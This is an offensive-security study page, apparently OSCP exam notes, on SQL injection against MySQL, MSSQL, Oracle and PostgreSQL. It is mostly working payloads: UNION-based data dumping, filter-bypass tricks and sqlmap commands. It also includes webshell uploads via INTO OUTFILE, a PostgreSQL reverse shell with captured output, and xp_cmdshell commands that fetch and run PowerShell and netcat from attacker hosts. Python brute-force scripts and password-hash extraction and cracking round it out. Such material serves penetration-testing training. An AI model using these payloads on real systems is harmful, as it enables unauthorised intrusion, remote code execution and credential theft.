> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/exploitation/sqli.md). # SQLi
Common SQLi payload ```sql ' OR 1=1-- - # LIMIT X,1 to get the xth user (0 based). ' OR 1=1 LIMIT 1-- - ' or 1=1 LIMIT 0,1-- - ' OR '1'='1 ```
### Determing which type of DB | Type of DB | Method | | ---------- | ---------------------------------------------------------------- | | MySQL | `SELECT @@version` | | SQLite | `SELECT sqlite_version()` | | Microsoft | `SELECT @@version` | | PostgreSQL | `SELECT version()` | | Oracle | `SELECT banner FROM v$version`, `SELECT version FROM v$instance` | ### Commenting in SQL
The figure above summarizes the syntax for commenting in various SQL DB. Do note that for MySQL, `-- -` is required for commenting instead of `--` as a whitespace or control character is required after the second dash. > When using `#` as a comment for MySQL, there’s no need to add a space after. ### Nuances between diff DB * Oracle requires every `SELECT` statement to include a `FROM` attribute. (`UNION SELECT NULL`will fail, need to be `UNION SELECT NULL FROM DUAL` instead) (`DUAL` is a globally accessible table)
SQLi to PHP Webshell (RCE) ```bash debug.php?id=1 union all select 1, 2, "' . shell_exec($_GET['cmd']);?> . '';?>" into OUTFILE "c:/xampp/htdocs/backdoor.php" ``` ```sql union all select 1,2,3,4,"",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php' ``` ```sql ' UNION SELECT (" #### Overview for SQLi | No. | Steps | Method | | ----- | ------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | 1 | Identify instances where application access DB | Look at URL param, cookies, POST data, HTTP headers | | 2 | Try injecting SQL | Start with single quotes, concatenator characters, eg: `' 'FOO` | | 3 | Determine no. of cols | `' UNION SELECT NULL -- -`, `' UNION SELECT NULL,NULL -- -` … until there’s no error | | 4.1 | Determine which cols have string data type | `' UNION SELECT 'a', NULL, NULL -- -`, `' UNION SELECT NULL, 'a', NULL -- -`, `' UNION SELECT NULL, NULL, 'a' -- -` … until there’s no error | | 4.2 | Determine which cols have numeric data type | `' UNION SELECT 1, NULL, NULL -- -`, `' UNION SELECT NULL, 1, NULL -- -`, `' UNION SELECT NULL, NULL, 1 -- -`… until there’s no error | | 4.3 | Use conditional responses if there’s no direct method of transmitting data | `admin' and ASCII(SUBSTRING(password,1,1))=113 -- -` login succeeds means first char for password is `q` | | 4.4.1 | Use conditional errors if there’s no noticeable effect on application behavior | `SELECT 1/0 FROM dual WHERE (SELECT username FROM users WHERE username = 'alice') = 'alice'`. dual is default dummy table present in most DB. If query has error, means `alice` is a valid username | | 4.4.2 | Conditional errors (time delay) | `' UNION SELECT IF(ASCII(SUBSTRING(@@version,1,1))=49,BENCHMARK(5000000,SHA1('dummy_data')),NULL),NULL,NULL -- -`. If first char of database version is `1` (ASCII: 49), will have delay in server’s response. | | 5 | Extracting table and cols name | `' UNION SELECT table_name, column_name, NULL FROM information_schema.columns -- -` | | 6.1 | Dumping DB using multi cols with string data type | `' UNION SELECT first_name, last_name, employee_id FROM dependents –- -` | | 6.2 | Dumping DB using 1 col with string data type | `SELECT CONCAT(username,':',password), NULL, NULL from users -- -` | | 6.3 | Dumping DB using multi cols with numeric data type | `' UNION SELECT ASCII(SUBSTRING(password,1,1)),NULL,NULL FROM users WHERE username='admin' -- -` (returns 113, i.e., ‘q’) | | 6.4 | Dumping DB using conditional responses | `admin' and ASCII(SUBSTRING(password,1,1))=113 -- -` (login succeeds) ASCII 113 corresponds to letter ‘q’ |
Search for interesting table, col name ```sql SELECT table_name,column_name FROM information_schema.columns where column_name LIKE '%PASS%' ```
Concat multi cols to single col ### Oracle ```sql SELECT table_name||':'||column_name FROM all_tab_columns ``` ### MSSQL ```sql SELECT table_name+':'+column_name from information_schema.columns ``` ### MySQL ```sql SELECT CONCAT(table_name,’:’,column_name) from information_schema.columns ```
#### Bypassing filters | Types of blacklisting filter | Ways to bypass | | ---------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Strings | Use CHAR() function to construct strings. eg: `CHAR(109)+CHAR(97)` is equals to `'ma'` | | Comments | Use `' OR 'a'='a` instead of `' OR 1=1 -- -` | | Keywords | Try mix of different cases, adding null byte in front, manipulating string, converting string to URL encoded form. Eg: `SELECT` is banned but can try `SeLeCt`, `%00SELECT`, `SELSELECTECT`, `%53%45%4c%45%43%54` | #### SQLmap | Types of attack | Methods | | --------------------------------- | ----------------------------------------------------------------------------------------------- | | POST request | `sqlmap -u --cookie='PHPSESSID=op2….' --data='user=a&pass=a' -p user --technique=B --dbs` | | GET request | `sqlmap -u 'http://victim.site/view.php?id=1141' -p id --technique=U --dbs` | | Using Request file from Burpsuite | `sqlmap -r -p user –dbs` | ``` --dbs: show the databases connected to the application -D database_name --tables: show all tables in db -T table_name --columns: show all columns of the db -C column1,column2 --dump: dump all the contents of the columns ```
Second Order SQLi When data is first inserted into the DB, it is properly sanitised. Afterwards, it may be processed in unsafe ways. Eg: When a user search for the term `O'Reilly`, the query term was `SELECT author,title,year FROM books WHERE publisher='O''Reilly'`. Notice how the quotation mark after `O` was escaped. However, when the `publisher` was being called in a later query, it might have the search string `SELECT * FROM publisher='O'Reilly'`. This causes second-order SQLi.
Interacting with SQL servers #### MySQL ```bash mysql --host=192.168.163.220 -u root -proot ``` ```sql SHOW DATABASES; ``` ```sql USE ; ``` ```sql SHOW TABLES; ``` ```sql SELECT * FROM ; ``` #### NoSQL (eg: MongoDB) ```bash apt-get install mongodb-clients mongo --host 192.168.192.110:27017 ``` * Tables in MySQL \~ Collections in Mongo * Rows in MySQL \~ Documents in Mongo * Columns in MySQL \~ Fields in Mongo * $and equivalent to AND in MySQL * $or equivalent to OR in MySQL * $eq equivalent to = in MySQL ```sql SHOW databases; ``` ```sql USE ; ``` ```sql SHOW collections; ``` ```sql db..find(); ``` ### PostgreSQL ```sql psql -U christine -h localhost -p 1234 ``` List existing databases: ``` \l ``` Select a database: ``` \c ``` List the database's tables: ``` \dt ``` Dump tables' content: ```sql SELECT * FROM ; ```
Logging in to MySQL ```bash mysql --host=192.168.163.220 -u root -proot ```
Logging in to MongoDB ```bash mongo --host 192.168.192.110:27017 ```
Logging in to PostgreSQL ```bash psql -h 192.168.208.47 -p 5437 -U postgres psql -h localhost -p 5432 -U root -d postgres ``` Creds to try: ```bash postgres: postgres:postgres admin:admin ``` Show tables, print out all users: ```sql \dt; select * from users; ```
PostgreSQL to reverse shell Tells the backend database to create a new table utilizing a cmd\_exe function which then use to initiate a reverse shell ```sql '; CREATE TABLE cmd_exec(cmd_output text); -- ``` ```sql '; COPY cmd_exec FROM PROGRAM 'bash -c ''bash -i >& /dev/tcp/10.10.14.225/1234 0>&1'''; -- ``` ```sql postgres-# \l List of databases Name | Owner | Encoding | Collate | Ctype | ICU Locale | Locale Provider | Access privileges -----------+----------+----------+------------+------------+------------+-----------------+----------------------- postgres | postgres | UTF8 | en_US.utf8 | en_US.utf8 | | libc | template0 | postgres | UTF8 | en_US.utf8 | en_US.utf8 | | libc | =c/postgres + | | | | | | | postgres=CTc/postgres template1 | postgres | UTF8 | en_US.utf8 | en_US.utf8 | | libc | =c/postgres + | | | | | | | postgres=CTc/postgres (3 rows) postgres-# \c postgres psql (15.2 (Debian 15.2-2), server 12.3 (Debian 12.3-1.pgdg100+1)) You are now connected to database "postgres" as user "postgres". postgres-# CREATE TABLE cmd_exec(cmd_output text); postgres=# COPY cmd_exec FROM PROGRAM 'bash -c ''bash -i >& /dev/tcp/192.168.45.5/80 0>&1'''; ┌──(root㉿kali)-[/home/kali/Documents/pg_practice/192.168.159.60] └─# nc -lvp 80 listening on [any] 80 ... 192.168.159.60: inverse host lookup failed: Unknown host connect to [192.168.45.5] from (UNKNOWN) [192.168.159.60] 44254 bash: cannot set terminal process group (177): Inappropriate ioctl for device bash: no job control in this shell postgres@326cfee15738:~/data$ whoami whoami postgres ```
Oracle SQLi ### Retrieve Current User ```bash sdfas' AND 1=CTXSYS.DRITHSX.SN(user,(select user from dual))-- - ``` ![](/files/kEyQLFZYratAaQP7JaQW) `WEB_APP` ### Retrieve Database ```bash sdfas' AND 1=CTXSYS.DRITHSX.SN(user,(SELECT SYS.DATABASE_NAME FROM DUAL))-- - ``` ![](/files/CrL4xbSf4nmBPn2gaqJq) `XE` ### Retrieve tables * Can only retrieve on table name at a time ![](/files/mGtsw0gzt8zr2aS3Llit) ```bash admin' OR 1=CTXSYS.DRITHSX.SN(user,(SELECT username FROM (SELECT ROWNUM r,username,password FROM all_users ORDER BY username) WHERE r=1))-- AeSCD ``` ### Bash scripting to retrieve all tables ```bash for NUM in {1..1000}; do curl -sLkX POST --url --data-urlencode "username=admin' OR 1=CTXSYS.DRITHSX.SN(user,(SELECT table_name FROM (SELECT ROWNUM r,table_name FROM all_tables ORDER BY table_name) WHERE r=${NUM}))-- AeSCD&password=sdfdsaf" | grep -E "^DRG.*" | cut -d ' ' -f 3 | sort -u; sleep 10; done ``` * Found `WEB_ADMINS` table ### Find Cols ```bash for NUM in {1..1000}; do curl -sLkX POST --url --data-urlencode "username=admin' OR 1=CTXSYS.DRITHSX.SN(user,(SELECT column_name FROM (SELECT ROWNUM r,column_name FROM all_tab_columns WHERE table_name = 'WEB_ADMINS') WHERE r=${NUM}))-- AeSCD&password=ASIJDSA" | grep -E "^DRG.*" | cut -d ' ' -f 3 | sort -u; sleep 10; done ``` * ADMIN\_ID * ADMIN\_NAME * PASSWORD ### Dump Cols ```bash for NUM in {1..1000}; do curl -sLkX POST --url --data-urlencode "username=admin' OR 1=CTXSYS.DRITHSX.SN(user,(SELECT ADMIN_NAME FROM (SELECT ROWNUM r,ADMIN_NAME FROM WEB_ADMINS ORDER BY ADMIN_ID) WHERE r=${NUM}))-- AeSCD&password=ASIJDSA" | grep -E "^DRG.*" | cut -d ' ' -f 3 | sort -u; sleep 10; done ``` * user named `admin` ```bash for NUM in {1..1000}; do curl -sLkX POST --url --data-urlencode "username=admin' OR 1=CTXSYS.DRITHSX.SN(user,(SELECT PASSWORD FROM (SELECT ROWNUM r,PASSWORD FROM WEB_ADMINS ORDER BY ADMIN_ID) WHERE r=${NUM}))-- AeSCD&password=ASIJDSA" | grep -E "^DRG.*" | cut -d ' ' -f 3 | sort -u; sleep 10; done ``` * password = `d82494f05d6917ba02f7aaa29689ccb444bb73f20380876cb05d1f37537b7892` —> `adminadmin`
MSSQLi ```sql ' OR 1=1-- - ' UNION SELECT @@version,1-- - ' UNION SELECT DB_NAME(), 1-- - ' UNION SELECT table_name, 1 FROM information_schema.columns-- - ' UNION SELECT name, 1 FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users')-- - ' UNION SELECT CONCAT(id,',',name,',',pass), 1 FROM users-- - ``` ### ALWAYS TEST FOR xp\_cmdshell in SQLi ```bash python3 mkpsrevshell.py 192.168.45.162 443 # powershell -e JABjAGwAaQBlAG4A... # SQLi Query for xp_cmdshell PS rev shell ' EXEC xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD... ``` ### Manual xp\_cmdshell ```sql #Check if Sysadmin --> will return 1 ' UNION SELECT is_srvrolemember('sysadmin'), 1-- - ' UNION SELECT 'hi', 1;EXEC sp_configure 'show advanced options', 1-- - ' UNION SELECT 'hi', 1;RECONFIGURE-- - ' UNION SELECT 'hi', 1;EXEC sp_configure 'xp_cmdshell', 1-- - ' UNION SELECT 'hi', 1;RECONFIGURE-- - ' UNION SELECT 'hi', 1; EXEC xp_cmdshell "powershell -c IEX (New-Object Net.WebClient).DownloadString('http://192.168.45.189/runall.ps1')"-- - # ' UNION SELECT 'hi', 1; EXEC xp_cmdshell 'powershell -c cd c:\windows\temp;wget http://192.168.45.197/nc64.exe -outfile nc64.exe'-- - # ' UNION SELECT 'hi', 1; EXEC xp_cmdshell 'powershell -c c:\windows\temp\nc64.exe -e cmd.exe 192.168.45.197 443'-- - ``` ### More advanced manual enumeration ```sql # Determine the number of columns (see that col 2 is visible) 10' UNION SELECT 1,2,3,4,5,6-- - # Show database name 10' UNION SELECT 1,(SELECT DB_NAME()),3,4,5,6-- - # Show table names 10' union select 1, (SELECT STRING_AGG(name, ',') name FROM STREAMIO..sysobjects WHERE xtype= 'U'),3,4,5,6-- - # Show column names 10' UNION SELECT 1,name,3,4,5,6 FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'users')-- - # Dump Usernames and Passwords 10' union select 1,CONCAT(username, ': ', password),3,4,5,6 FROM users-- - ``` ### If JSON payload is caught by firewall, use UTF-16 instead ```python # utf_converter.py input=raw_input('> ').strip() utf=[] for i in input: utf.append("\\u00"+hex(ord(i)).split('x')[1]) print ''.join([i for i in utf]) ------- python2 utf_converter.py a' UNION SELECT 1,2,3,4,5;-- - ```
### Obtain MSSQL Server Login Creds 
' UNION SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash), 1 FROM master.sys.sql_logins-- -

#Artist name: sa-0x020017264e939f9e1ec90ffd4c612716904c9a05f8f51ff0e2e470afd917b1bff2cf8248d2661539cc300512bffcf6898271e532ba7cb64cf85a97883f27f9868beae551539e - From the year: 1
SA hash: * 0200 —>version (SHA-2 512bit) * Salt (4 Bytes) —> 17264e93 * Hash (64 Bytes) —> 9f9e1ec90ffd4c612716904c9a05f8f51ff0e2e470afd917b1bff2cf8248d2661539cc300512bffcf6898271e532ba7cb64cf85a97883f27f9868beae551539e Cracking with hashcat: 
# Hash.txt: <hash>:<salt>
# 9f9e1ec90ff...:17264e93
hashcat -m 1710 -a 0 hash.txt rockyou.txt
Unique MSSQLi ### Susceptible to SQLi? * put in `'` and crash occurred ### What the insert statement would look like ```sql INSERT INTO users_DB (username, password) VALUES ('admin', 'admin') ``` ### Where to get the Error-based MSSQL payloads? ```sql For integer inputs : convert(int,@@version) For integer inputs : cast((SELECT @@version) as int) For string inputs : ' + convert(int,@@version) + ' For string inputs : ' + cast((SELECT @@version) as int) + ' ``` * However, the payloads will not work right off the bat because the context is that it’s an `insert` statement instead of the usual `select` statement. ### Show version MSSQL SQLi ```sql ' + cast((SELECT @@version) as int) + ') ``` so the new insert statement will be: ```sql INSERT INTO users_DB (username, password) VALUES ('' + cast((SELECT @@version) as int) + ')', 'admin') ``` ### Show DB in MSSQL ```sql ' + cast((SELECT DB_NAME()) as int) + ') ``` * DB name —> `newsletter` ### Show table names * unable to dump more than 1 row at a time. * concat all rows () ```sql ' + cast((SELECT ',' + table_name AS 'data()' FROM information_schema.columns FOR XML PATH ('') ) as int) + ') ``` * tables are called `users` ### Show Cols names ```sql ' + cast((SELECT ',' + column_name AS 'data()' FROM information_schema.columns FOR XML PATH ('') ) as int) + ') ``` * Found cols: `email, userid, username` #### Dump email,user\_id,username data #### Dump Email ```sql ' + cast( (SELECT ',' + email AS 'data()' FROM users FOR XML PATH ('')) as int) + ') ``` * Found the emails #### Dump username ```sql ' + cast( (SELECT ',' + username AS 'data()' FROM users FOR XML PATH ('')) as int) + ') ``` * Found usernames ### Show all databases ```sql ' + cast( (SELECT ',' + name AS 'data()' FROM master..sysdatabases FOR XML PATH ('')) as int) + ') ``` * Found dbs ### Show table in archive DB ```sql ' + cast((SELECT name FROM archive..sysobjects WHERE xtype = 'U') as int) + ') ``` * Found the `pmanager` table ### Show the cols in `archive` DB ```sql ' + cast((SELECT ',' + archive..syscolumns.name AS 'data()' FROM archive..syscolumns FOR XML PATH ('')) as int) + ') ``` * Found this: ```sql alogin ,id ,psw ,binary_message_body ,conversation_group_id ,conversation_handle ,fragment_bitmap ,fragment_size ,message_enqueue_time ,message_id ,message_sequence_number ,message_type_id ,next_fragment ,priority ,queuing_order ,service_contract_id ,service_id ,status ,validation ,binary_message_body ,conversation_group_id ,conversation_handle ,fragment_bitmap ,fragment_size ,message_enqueue_time ,message_id ,message_sequence_number ,message_type_id ,next_fragment ,priority ,queuing_order ,service_contract_id ,service_id ,status ,validation ,binary_message_body ,conversation_group_id ,conversation_handle ,fragment_bitmap ,fragment_size ,message_enqueue_time ,message_id ,message_sequence_number ,message_type_id ,next_fragment ,priority ,queuing_order ,service_contract_id ,service_id ,status ,validation ``` * There’s `id` and `psw` ### Dump the `psw` cols ```sql ' + cast((SELECT ',' + psw AS 'data()' FROM archive..pmanager FOR XML PATH ('')) as int) + ') ``` Found password hashes #### Dump `alogin` col ```sql ' + cast((SELECT ',' + alogin AS 'data()' FROM archive..pmanager FOR XML PATH ('')) as int) + ') ```
Enumerate Domain Usernames from MSSQL Injection ```python #!/usr/bin/env python2 import json import requests from time import sleep url = 'http://10.10.10.179/api/getColleagues' def unicode(str): utf = [] for i in str: utf.append("\\u00" + hex(ord(i)).split("x")[1]) return ''.join(i for i in utf) sid = '' for i in range(1, 29): payload = ( "test' UNION SELECT " "SUBSTRING(SUSER_SID('MegaCorp\\Administrator'),{},1),2,3,4,5-- -" ).format(i) r = requests.post( url, data='{"name":"'+ unicode(payload) + '"}', headers={'Content-Type':'Application/json'} ) id = json.loads(r.text)[0]["id"] if len(str(id)) == 1: id = '0' + str(id) else: id = hex(id).split('x')[1] sleep(2) sid += id print "Full SID (hex): 0x%s" % sid domain_sid = sid[:48] print "Domain SID (hex): 0x%s" % domain_sid rid = sid[48:] print "RID (hex): 0x%s" % rid ```

RID is 0xf401 in big endian, converting to little endian = 0x01f4 = 500 in decimal

Bruteforce all the users with RID > 1100 to 1200: ```bash import json import requests from time import sleep url = 'http://10.10.10.179/api/getColleagues' def unicode(str): utf=[] for i in str: utf.append("\\u00"+hex(ord(i)).split("x")[1]) return ''.join(i for i in utf) sid='' for i in range(1100,1200): i=hex(i)[2:].upper() if len(i)<4: i='0'+i t=bytearray.fromhex(i) t.reverse() t=''.join(format(x,'02x') for x in t).upper()+'0'*4 sid='0x0105000000000005150000001c00d1bcd181f1492bdfc236{}'.format(t) payload="test' UNION SELECT 1,SUSER_SNAME({}),3,4,5-- -".format(sid) r = requests.post( url, data='{"name":"'+ unicode(payload) + '"}', headers={'Content-Type':'Application/json'} ) user=json.loads(r.text)[0]['name'] if user: print user sleep(2) ```
MySQLi Upload Webshell ``` #Check if user has ability to write files test' UNION SELECT 1,2,3,4,GROUP_CONCAT(user," : ",file_priv,"\n"),6 FROM mysql.user WHERE FILE_PRIV='Y'-- - ``` ``` # Upload Webshell Asus' union select '',2,3,4,5,6 into outfile 'c:/inetpub/wwwroot/command.php'# # Interact with Webshell curl 'http://10.10.10.167/command.php?cmd=whoami' ```
MySQLi Against Prepared Statement Adding a quote in the username field shows SQL error!
trying `' OR 1=1-- -` --> shows error code 200 (might have WAF in place, try other payloads)
Trying `' OR 2>0-- -` --> has column out of range error
`' OR 2>0 OR 'hi' = 'hi` --> will bypass login!!! ```sql # Initial SQL SELECT * FROM USERS WHERE username='bob' AND password='password' # After SQLI SELECT * FROM USERS WHERE username='' OR 2>0 OR 'hi' = 'hi' AND password='password' ```
Links [Burpsuite SQL Cheatsheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)
Edit Admin User Password Hash in MySQL ```sql -- Generate Bcrypt hash with https://codeshack.io/php-password-hash-generator/ UPDATE users SET password = '$2y$10$KQI8OQa06gvzX4ZNK4exZu6DQbgxGLynfWSpZfHzFzvAejJbG9Lr.' WHERE id = 1; ```